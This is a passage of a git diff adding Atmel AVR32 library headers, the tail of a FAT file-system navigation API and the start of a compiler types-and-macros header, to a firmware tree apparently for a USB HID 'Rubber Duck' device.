+//********************************************************************** +//************************ String format select ************************ + +//! This function selects the UNICODE mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_unicode( void ); + +//! This function selects the ASCII mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! If you have enabled the FS_ASCII AND FS_UNICODE define +//! then FS_STRING parameter can be a ASCII or UNICODE string. +//! @endverbatim +//! +void nav_string_ascii( void ); + +//! This function selects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_enable( void ); + +//! This function deselects the LENGTH string mode for all routines with FS_STRING parameter +//! +//! @verbatim +//! In LENGTH string mode when you call a routine with FS_STRING parameter +//! only the size (16bits, unit ASCII or UNICODE) is returned in the first 16bits of string array. +//! @endverbatim +//! +void nav_string_length_disable( void ); + +//********************************************************************** +//********************** To optimize speed access ********************** + +//! This function disables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_disable( void ); + +//! This function enables the disk check before each actions on disk +//! +//! @verbatim +//! By default, between each read/write access a check disk (test unit ready) is sended at device. +//! This check can reduce the speed access on specific disk. +//! @endverbatim +//! +void nav_checkdisk_enable( void ); + + +//********************************************************************** +//************** Initialise or Stop navigation module ****************** + + +//! This function resets ALL navigations to init file system core +//! +//! @verbatim +//! Call this at the program startup or before a new session (e.g. USB Device exit) +//! @endverbatim +//! +void nav_reset( void ); + +//! This function flush ALL navigations before exit of file system core +//! +//! @verbatim +//! Call this at the program exit or before a USB Device session +//! @endverbatim +//! +void nav_exit( void ); + +//! This function selects the navigation to use +//! +//! @param u8_idnav navigator identifier to select (0 to FS_NB_NAVIGATOR-1) +//! +//! @return false if ID navigator don't exist +//! @return true otherwise +//! +Bool nav_select( uint8_t u8_idnav ); + +//! This function returns the navigation identifier used +//! +//! @return u8_idnav navigator identifier selected +//! +uint8_t nav_get( void ); + +//! This function copys the navigator information to another navigator +//! +//! @param u8_idnav navigator identifier where the main navigator will be copied +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Use this routine to select quickly the same file in another navigator +//! @endverbatim +//! +Bool nav_copy( uint8_t u8_idnav ); + + +//********************************************************************** +//********************* Drive navigation functions ********************* + + +//! This function returns the number of devices availabled +//! +//! @return number of devices, 0 = NO DEVICE AVAILABLED +//! +//! @verbatim +//! This value may be dynamic because it depends of memory drivers (e.g. Mass Storage disk on USB host mode) +//! @endverbatim +//! +uint8_t nav_drive_nb( void ); + +//! This function selects a drive in navigator but don't mount the disk partition +//! +//! @param u8_number device number (0 to nav_drive_nb()-1 ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_drive_set( uint8_t u8_number ); + +//! This function returns the selected drive number +//! +//! @return 0 to nav_drive_nb()-1 +//! @return 0xFF in case of no drive selected +//! +uint8_t nav_drive_get( void ); + +//! This function returns the selected drive letter +//! +//! @return 'A','B',... +//! @return 'X', in case of no drive selected +//! +uint8_t nav_drive_getname( void ); + +//! This function formats the current drive (=disk) +//! +//! @param u8_fat_type Select the format type
+//! FS_FORMAT_DEFAULT, The system chooses the better FAT format
+//! FS_FORMAT_FAT, The FAT12 or FAT16 is used to format the drive, if possible (disk space <2GB)
+//! FS_FORMAT_FAT32, The FAT32 is used to format the drive, if possible (disk space >32MB)
+//! FS_FORMAT_NOMBR_FLAG, if you don't want a MRB on the disk then add this flag (e.g. specific partition structure on a CD support) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! WARNING: This routine can't format a multi-partiton, if the disk contains a multi-partition +//! then this one is erased and replaced by a single partition on ALL disk space. +//! @endverbatim +//! +Bool nav_drive_format( uint8_t u8_fat_type ); + + +//********************************************************************** +//******************* Partition navigation functions ******************* + + +//! This function returns the number of partitions present on drive +//! +//! @return u8_number number of partitions +//! +uint8_t nav_partition_nb( void ); + +//! This function selects a partition on drive +//! +//! @param partition_number partition number (0 to 3) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_set( uint8_t partition_number ); + +//! This function mounts the selected partition +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If the FS_MULTI_PARTITION option is disabled +//! then the mount routine selects the first partition supported by file system.
+//! After mount, the file list contains files and directories of ROOT directory +//! @endverbatim +//! +Bool nav_partition_mount( void ); + +//! This function gives the partition type +//! +//! @return partition type: FS_TYPE_FAT_12, FS_TYPE_FAT_16, FS_TYPE_FAT_32 +//! @return FS_TYPE_FAT_UNM, in case of error or unknow format +//! +uint8_t nav_partition_type( void ); + +//! This function reads or writes the serial number on the selected partition +//! +//! @param b_action to select the action
+//! FS_SN_READ to read serial number
+//! FS_SN_WRITE to write serial number
+//! @param a_u8_sn pointer on an array (4 bytes)
+//! if FS_SN_READ, then the array is used to store the serial number
+//! if FS_SN_WRITE, then the array is used to give the new serial number
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_serialnumber( Bool b_action , uint8_t _MEM_TYPE_SLOW_ *a_u8_sn ); + +//! This function reads or writes the label of selected partition +//! +//! @param b_action to select the action
+//! FS_LABEL_READ to read label
+//! FS_LABEL_WRITE to write label
+//! @param sz_label pointer on a ASCII string (11 chars + NULL terminator =12 bytes)
+//! if FS_LABEL_READ, then the string is used to store label
+//! if FS_LABEL_WRITE, then the string is used to give the new label
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_partition_label( Bool b_action , FS_STRING sz_label ); + +//! This function returns partition total space +//! +//! @return number of sectors +//! @return 0, in case of error +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_space( void ); + +//! This function returns the partition cluster size +//! +//! @return cluster size (unit sector) +//! +uint8_t nav_partition_cluster_size( void ); + +//! This function returns the partition free space +//! +//! @return number of free sectors +//! @return 0 in case of error or full partition +//! +//! @verbatim +//! You shall mounted the partition before call this routine +//! @endverbatim +//! +uint32_t nav_partition_freespace( void ); + +//! This function returns the partition space free in percent +//! +//! @return percent of free space (0% to 100%) +//! @return 0% in case of error or full partition +//! +//! @verbatim +//! To speed up the compute, the resultat have an error delta of 1% +//! @endverbatim +//! +uint8_t nav_partition_freespace_percent( void ); + + +//********************************************************************** +//****************** File list navigation functions ******************** + +//! To display in File List only the files OR directories +//! +//! @param b_type FS_DIR to display only directories presence
+//! FS_FILE to dispaly only files presence
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_enable( Bool b_type ); + +//! To display in File List the directories AND files +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_single_disable( void ); + +//! This function resets the selection pointer, so "no file selected" in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_reset( void ); + +//! This function checks if a file is selected +//! +//! @return true if a file is selected +//! @return false if no file is selected +//! +Bool nav_filelist_validpos( void ); + +//! This function checks if no file is open +//! +//! @return true if no file is open +//! @return false if a file is open +//! +Bool nav_filelist_fileisnotopen( void ); + +//! This function moves the selection pointer in file list +//! +//! @param u16_nb numbers of file to jump before stopping action
+//! 0, stop at the first file found
+//! 1, stop at the second file found
+//! +//! @param b_direction search direction
+//! FS_FIND_NEXT, move to next file or directory +//! FS_FIND_PREV, move to previous file or directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Note: if no file is selected then nav_filelist_set( 0 , FS_NEXT ) goes to the first entry of the file list. +//! @endverbatim +//! +Bool nav_filelist_set( uint16_t u16_nb , Bool b_direction ); + +//! This function returns the position of selected file in file list +//! +//! @return position of selected file (0 is the first position) +//! @return FS_NO_SEL, in case of no file selected +//! +uint16_t nav_filelist_get( void ); + +//! This function goes at a position in file list +//! +//! @param u16_newpos new position to select (0 is the first position) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_goto( uint16_t u16_newpos ); + +//! This function searchs a file name in file list +//! +//! @param sz_name name to search (UNICODE or ASCII)
+//! It must be terminate by NULL or '*' value +//! @param b_match_case false to ignore the case +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This function starts a search at the next position of the current in file list +//! @endverbatim +//! +Bool nav_filelist_findname( const FS_STRING sz_name , Bool b_match_case ); + +//! This function checks the end of file list +//! +//! @return false, NO end of file list +//! @return true, in case of end of list or error +//! +Bool nav_filelist_eol( void ); + +//! This function checks the beginning of file list +//! +//! @return false, it is not the beginning of file list +//! @return true, in case of the file selected is the first file, or in case of error +//! +Bool nav_filelist_bol( void ); + +//! This function checks the presence of files or directories in file list +//! +//! @param b_type FS_DIR to check the directory presence
+//! FS_FILE to check the file presence
+//! +//! @return true, in case of a file or a directory exists +//! @return false, in case of no file or no directory exists, or error +//! +Bool nav_filelist_exist( Bool b_type ); + +//! This function computes the number of files or directories in file list +//! +//! @param b_type FS_DIR to compute the number of directories
+//! FS_FILE to compute the number of files
+//! +//! @return number of files or directories in file list +//! +uint16_t nav_filelist_nb( Bool b_type ); + +//! This function goes to at the first file or directory in file list +//! +//! @param b_type FS_DIR to go at the first directory
+//! FS_FILE to go at the first file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_first( Bool b_type ); + +//! This function goes to at the last file or directory in file list +//! +//! @param b_type FS_DIR to go at the last directory
+//! FS_FILE to go at the last file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_last( Bool b_type ); + +//********************************************************************** +//************************ Index functions ***************************** + + +//! This function returns a small index on the selected file +//! +//! @return It is a small index structure with information on selected file (disk, partition, dir, file/dir selected) +//! +//! @verbatim +//! This routine is interresting to save a file position in small variable. +//! This pointer allow to reinit a navigator quickly with nav_gotoindex() routine. +//! @endverbatim +//! +Fs_index nav_getindex( void ); + +//! This function selects a file in the navigator via a file index +//! +//! @param index structure with information about file to select (disk, partition, dir, file/dir selected ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine allow to reinit a navigator quickly via a file index (disk, partition, dir, file/dir selected ) +//! To get a file index, you shall used the routine nav_getindex(). +//! @endverbatim +//! +Bool nav_gotoindex( const Fs_index _MEM_TYPE_SLOW_ *index ); + +//********************************************************************** +//************************ Directory functions ************************* + + +//! This function initializes the file list on the root directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_root( void ); + +//! This function check the current directory +//! +//! @return false the current directory selected is not the root directory +//! @return true the current directory selected is the root directory +//! +Bool nav_dir_is_root( void ); + +//! This function enters in the selected directory in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine the file list changes and contains the files and directories of the new directory. +//! By default no file is selected. +//! @endverbatim +//! +Bool nav_dir_cd( void ); + +//! This function goes to the parent directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After, the file list changes and contains the files and directories of the new directory. +//! By default, the file selected in file list is the previous (children) directory. +//! @endverbatim +//! +Bool nav_dir_gotoparent( void ); + +//! This function returns the directory name corresponding at the file list +//! +//! @param sz_path string to store the name (ASCII or UNICODE ) +//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_name( FS_STRING sz_path , uint8_t u8_size_max ); + +//! This function creates a directory in the directory corresponding at file list +//! +//! @param sz_name directory name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_make( const FS_STRING sz_name ); + +//! This function returns the full path of the selection +//! +//! @param sz_path string to store the path (ASCII or UNICODE ) +//! @param u8_size_path string size (unit ASCII or UNICODE ) +//! @param b_view_file_select true, to include in path the selected file name +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_getcwd( FS_STRING sz_path , uint8_t u8_size_path , Bool b_view_file_select ); + +//! This function selects a disk position via a path +//! +//! @param sz_path path string (ASCII or UNICODE ) +//! @param b_match_case false to ignore the case +//! @param b_create true, if path no exists then create it
+//! false, no create path
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! The syntact "./../../file_name" is supported. +//! With syntact "./dir_parent/directory_name" the file list corresponding at "dir_parent" and "directory_name" is selected. +//! With syntact "./dir_parent/directory_name/" the file list corresponding at "directory_name" and no file is selected. +//! @endverbatim +//! +Bool nav_setcwd( FS_STRING sz_path , Bool b_match_case , Bool b_create ); + + +//********************************************************************** +//*********************** File control functions *********************** + + +//! This function returns the name of selected file +//! +//! @param sz_name string to store the name file (ASCII or UNICODE )
+//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_getname( FS_STRING sz_name, uint8_t u8_size_max ); + +//! This function returns the name of selected file or checks the string with the name of selected file +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the name of selected file
+//! FS_NAME_CHECK to check the name of selected file
+//! @param sz_name if FS_NAME_GET then string to store the file name (ASCII or UNICODE )
+//! if FS_NAME_CHECK then string to match with file name (ASCII or UNICODE), +//! it must be terminated by NULL or '*' value
+//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action) +//! +//! @param u8_size_max string size (unit ASCII or UNICODE ), only used in "FS_NAME_GET" action +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_name( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ); + +//! This function returns the size of selected file (unit byte) +//! +//! @return Size of selected file (unit byte) +//! +uint32_t nav_file_lgt( void ); + +//! This function returns the size of selected file (unit sector) +//! +//! @return Size of selected file (unit 512B) +//! +uint16_t nav_file_lgtsector( void ); + +//! This function checks the write protection of disk and the attribut "read only" of selected file +//! +//! @return false, it is possible to modify the selected file +//! @return true, in other case +//! +Bool nav_file_isreadonly( void ); + +//! This function returns the type of selected file +//! +//! @return true, it is a directory +//! @return false, in other case +//! +Bool nav_file_isdir( void ); + +//! This function checks the extension of selected file +//! +//! @param sz_filterext extension filter (ASCII format, e.g.: "txt" or "txt,d*,wk" ) +//! +//! @return true, the file extension match with extension filter +//! @return false, in other case +//! +Bool nav_file_checkext( const FS_STRING sz_filterext ); + +//! This function returns the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string (>17B) to store the information about date
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateget( FS_STRING sz_date , Bool type_date ); + +//! This function returns the attribut of selected file +//! +//! @return attribut of selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +uint8_t nav_file_attributget( void ); + +//! This function changes the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string contains the date to write
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateset( const FS_STRING sz_date , Bool type_date ); + +//! This function changes the attribut of selected file +//! +//! @param u8_attribut value to write on selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_attributset( uint8_t u8_attribut ); + +//! This function deletes the selected file or directory +//! +//! @param b_only_empty true, delete the directory only if empty
+//! false, delete directories and files include in selected directory
+//! If the selection is not a directory then this param is ignored. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_del( Bool b_only_empty ); + +//! This function renames the selected directory or file +//! +//! @param sz_name new name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_rename( const FS_STRING sz_name ); + +//! This function creates a file with NULL size and NULL attribut +//! +//! @param sz_name file name to create (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you ues this routine to create a file, then you must called file_open() to open this new file +//! @endverbatim +//! +Bool nav_file_create( const FS_STRING sz_name ); + +//! This function updates the COPY navigator with the selected file +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you use the COPY navigator after this routine then the copy information is lost (see FS_NAV_ID_COPYFILE in conf_explorer.h). +//! @endverbatim +//! +Bool nav_file_copy( void ); + +//! This function pastes the selected file in COPY navigator in the file list of the current navigator +//! +//! @param sz_name file name of the new file (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine, you shall called nav_file_paste_state() to run and way the copy +//! @endverbatim +//! +Bool nav_file_paste_start( const FS_STRING sz_name ); + +//! This function executes the copy file +//! +//! @param b_stop set true to stop copy action +//! +//! @return copy status
+//! COPY_BUSY, copy running +//! COPY_FAIL, copy fail +//! COPY_FINISH, copy finish +//! +uint8_t nav_file_paste_state( Bool b_stop ); + +#endif // _NAVIGATION_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/compiler.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/compiler.h new file mode 100755 index 0000000..115d8c5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/compiler.h @@ -0,0 +1,1220 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Compiler file for AVR32. + * + * This file defines commonly used types and macros. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _COMPILER_AVR32_H_ +#define _COMPILER_AVR32_H_ + +#if (defined __ICCAVR32__) +# include +#endif +#include "preprocessor.h" + +#include "parts.h" + + +//_____ D E C L A R A T I O N S ____________________________________________ + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +#include +#include +#include +#include + + +#if (defined __ICCAVR32__) + +/*! \name Compiler Keywords + * + * Port of some keywords from GNU GCC for AVR32 to IAR Embedded Workbench for Atmel AVR32. + */ +//! @{ +#define __asm__ asm +#define __inline__ inline +#define __volatile__ +//! @} + +#endif + +/** + * \def barrier + * \brief Memory barrier + */ +#if defined(__GNUC__) +# define barrier() asm volatile("" ::: "memory") +#elif defined(__ICCAVR32__) +# define barrier() __asm__ __volatile__ ("") +#endif + +/** + * \brief Emit the compiler pragma \a arg. + * + * \param arg The pragma directive as it would appear after \e \#pragma + * (i.e. not stringified). + */ +#define COMPILER_PRAGMA(arg) _Pragma(#arg) + +/** + * \def COMPILER_PACK_SET(alignment) + * \brief Set maximum alignment for subsequent struct and union + * definitions to \a alignment. + */ +#define COMPILER_PACK_SET(alignment) COMPILER_PRAGMA(pack(alignment)) + +/** + * \def COMPILER_PACK_RESET() + * \brief Set default alignment for subsequent struct and union + * definitions. + */ +#define COMPILER_PACK_RESET() COMPILER_PRAGMA(pack()) + + +/** + * \brief Set aligned boundary. + */ +#if (defined __GNUC__) +#define COMPILER_ALIGNED(a) __attribute__((__aligned__(a))) +#elif (defined __ICCAVR32__) +#define COMPILER_ALIGNED(a) COMPILER_PRAGMA(data_alignment = a) +#endif + +/** + * \brief Set word-aligned boundary. + */ +#if (defined __GNUC__) +#define COMPILER_WORD_ALIGNED __attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) +#define COMPILER_WORD_ALIGNED COMPILER_PRAGMA(data_alignment = 4) +#endif + +/** + * \name System Register Access + * @{ + */ +#if defined(__GNUC__) || defined(__DOXYGEN__) +/** + * \brief Get value of system register + * + * \param reg Address of the system register of which to get the value. + * + * \return Value of system register \a reg. + */ +# define sysreg_read(reg) __builtin_mfsr(reg) + +/** + * \brief Set value of system register + * + * \param reg Address of the system register of which to set the value. + * \param val Value to set the system register \a reg to. + */ +# define sysreg_write(reg, val) __builtin_mtsr(reg, val) + +#elif defined(__ICCAVR32__) +# define sysreg_read(reg) __get_system_register(reg) +# define sysreg_write(reg, val) __set_system_register(reg, val) +#endif + +// Deprecated definitions +#define Get_system_register(reg) sysreg_read(reg) +#define Set_system_register(reg, val) sysreg_write(reg, val) +//! @} + +#include "interrupt.h" + +/*! \name Usual Types + */ +//! @{ +typedef unsigned char Bool; //!< Boolean. +#ifndef __cplusplus +#if !defined(__bool_true_false_are_defined) +typedef unsigned char bool; //!< Boolean. +#endif +#endif +typedef int8_t S8 ; //!< 8-bit signed integer. +typedef uint8_t U8 ; //!< 8-bit unsigned integer. +typedef int16_t S16; //!< 16-bit signed integer. +typedef uint16_t U16; //!< 16-bit unsigned integer. +typedef uint16_t le16_t; +typedef uint16_t be16_t; +typedef int32_t S32; //!< 32-bit signed integer. +typedef uint32_t U32; //!< 32-bit unsigned integer. +typedef uint32_t le32_t; +typedef uint32_t be32_t; +typedef signed long long int S64; //!< 64-bit signed integer. +typedef unsigned long long int U64; //!< 64-bit unsigned integer. +typedef float F32; //!< 32-bit floating-point number. +typedef double F64; //!< 64-bit floating-point number. +typedef uint32_t iram_size_t; +//! @} + + +/*! \name Status Types + */ +//! @{ +typedef Bool Status_bool_t; //!< Boolean status. +typedef U8 Status_t; //!< 8-bit-coded status. +//! @} + + +/*! \name Aliasing Aggregate Types + */ +//! @{ + +//! 16-bit union. +typedef union +{ + S16 s16 ; + U16 u16 ; + S8 s8 [2]; + U8 u8 [2]; +} Union16; + +//! 32-bit union. +typedef union +{ + S32 s32 ; + U32 u32 ; + S16 s16[2]; + U16 u16[2]; + S8 s8 [4]; + U8 u8 [4]; +} Union32; + +//! 64-bit union. +typedef union +{ + S64 s64 ; + U64 u64 ; + S32 s32[2]; + U32 u32[2]; + S16 s16[4]; + U16 u16[4]; + S8 s8 [8]; + U8 u8 [8]; +} Union64; + +//! Union of pointers to 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + S64 *s64ptr; + U64 *u64ptr; + S32 *s32ptr; + U32 *u32ptr; + S16 *s16ptr; + U16 *u16ptr; + S8 *s8ptr ; + U8 *u8ptr ; +} UnionPtr; + +//! Union of pointers to volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + volatile S64 *s64ptr; + volatile U64 *u64ptr; + volatile S32 *s32ptr; + volatile U32 *u32ptr; + volatile S16 *s16ptr; + volatile U16 *u16ptr; + volatile S8 *s8ptr ; + volatile U8 *u8ptr ; +} UnionVPtr; + +//! Union of pointers to constant 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + const S64 *s64ptr; + const U64 *u64ptr; + const S32 *s32ptr; + const U32 *u32ptr; + const S16 *s16ptr; + const U16 *u16ptr; + const S8 *s8ptr ; + const U8 *u8ptr ; +} UnionCPtr; + +//! Union of pointers to constant volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + const volatile S64 *s64ptr; + const volatile U64 *u64ptr; + const volatile S32 *s32ptr; + const volatile U32 *u32ptr; + const volatile S16 *s16ptr; + const volatile U16 *u16ptr; + const volatile S8 *s8ptr ; + const volatile U8 *u8ptr ; +} UnionCVPtr; + +//! Structure of pointers to 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + S64 *s64ptr; + U64 *u64ptr; + S32 *s32ptr; + U32 *u32ptr; + S16 *s16ptr; + U16 *u16ptr; + S8 *s8ptr ; + U8 *u8ptr ; +} StructPtr; + +//! Structure of pointers to volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + volatile S64 *s64ptr; + volatile U64 *u64ptr; + volatile S32 *s32ptr; + volatile U32 *u32ptr; + volatile S16 *s16ptr; + volatile U16 *u16ptr; + volatile S8 *s8ptr ; + volatile U8 *u8ptr ; +} StructVPtr; + +//! Structure of pointers to constant 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + const S64 *s64ptr; + const U64 *u64ptr; + const S32 *s32ptr; + const U32 *u32ptr; + const S16 *s16ptr; + const U16 *u16ptr; + const S8 *s8ptr ; + const U8 *u8ptr ; +} StructCPtr; + +//! Structure of pointers to constant volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + const volatile S64 *s64ptr; + const volatile U64 *u64ptr; + const volatile S32 *s32ptr; + const volatile U32 *u32ptr; + const volatile S16 *s16ptr; + const volatile U16 *u16ptr; + const volatile S8 *s8ptr ; + const volatile U8 *u8ptr ; +} StructCVPtr; + +//! @} + +#endif // __AVR32_ABI_COMPILER__ + + +//_____ M A C R O S ________________________________________________________ + +/*! \name Usual Constants + */ +//! @{ +#define DISABLE 0 +#define ENABLE 1 +#define DISABLED 0 +#define ENABLED 1 +#define OFF 0 +#define ON 1 +#define FALSE 0 +#define TRUE 1 +#ifndef __cplusplus +#if !defined(__bool_true_false_are_defined) +#define false FALSE +#define true TRUE +#endif +#endif +#define KO 0 +#define OK 1 +#define PASS 0 +#define FAIL 1 +#define LOW 0 +#define HIGH 1 +#define CLR 0 +#define SET 1 +//! @} + + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +//! \name Optimization Control +//@{ + +/** + * \def likely(exp) + * \brief The expression \a exp is likely to be true + */ +#ifndef likely +# define likely(exp) (exp) +#endif + +/** + * \def unlikely(exp) + * \brief The expression \a exp is unlikely to be true + */ +#ifndef unlikely +# define unlikely(exp) (exp) +#endif + +/** + * \def is_constant(exp) + * \brief Determine if an expression evaluates to a constant value. + * + * \param exp Any expression + * + * \return true if \a exp is constant, false otherwise. + */ +#ifdef __GNUC__ +# define is_constant(exp) __builtin_constant_p(exp) +#else +# define is_constant(exp) (0) +#endif + +//! @} + +/*! \name Bit-Field Handling + */ +//! @{ + +/*! \brief Reads the bits of a value specified by a given bit-mask. + * + * \param value Value to read bits from. + * \param mask Bit-mask indicating bits to read. + * + * \return Read bits. + */ +#define Rd_bits( value, mask) ((value) & (mask)) + +/*! \brief Writes the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue to write bits to. + * \param mask Bit-mask indicating bits to write. + * \param bits Bits to write. + * + * \return Resulting value with written bits. + */ +#define Wr_bits(lvalue, mask, bits) ((lvalue) = ((lvalue) & ~(mask)) |\ + ((bits ) & (mask))) + +/*! \brief Tests the bits of a value specified by a given bit-mask. + * + * \param value Value of which to test bits. + * \param mask Bit-mask indicating bits to test. + * + * \return \c 1 if at least one of the tested bits is set, else \c 0. + */ +#define Tst_bits( value, mask) (Rd_bits(value, mask) != 0) + +/*! \brief Clears the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to clear bits. + * \param mask Bit-mask indicating bits to clear. + * + * \return Resulting value with cleared bits. + */ +#define Clr_bits(lvalue, mask) ((lvalue) &= ~(mask)) + +/*! \brief Sets the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to set bits. + * \param mask Bit-mask indicating bits to set. + * + * \return Resulting value with set bits. + */ +#define Set_bits(lvalue, mask) 